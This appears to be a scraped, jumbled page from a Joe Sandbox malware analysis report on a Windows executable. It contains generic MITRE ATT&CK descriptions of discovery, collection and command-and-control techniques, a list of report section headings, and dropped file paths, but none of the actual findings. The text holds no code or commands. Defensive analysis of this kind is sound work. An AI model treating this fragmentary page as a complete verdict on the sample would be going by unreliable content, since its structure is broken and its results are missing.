Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report T2dvU8f2xg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MobServe[1].exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFiles

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFolders

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaGitEditor

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaListPorts

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaPictureViewer

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaTextEditor

C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe

Windows Analysis Report
T2dvU8f2xg.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre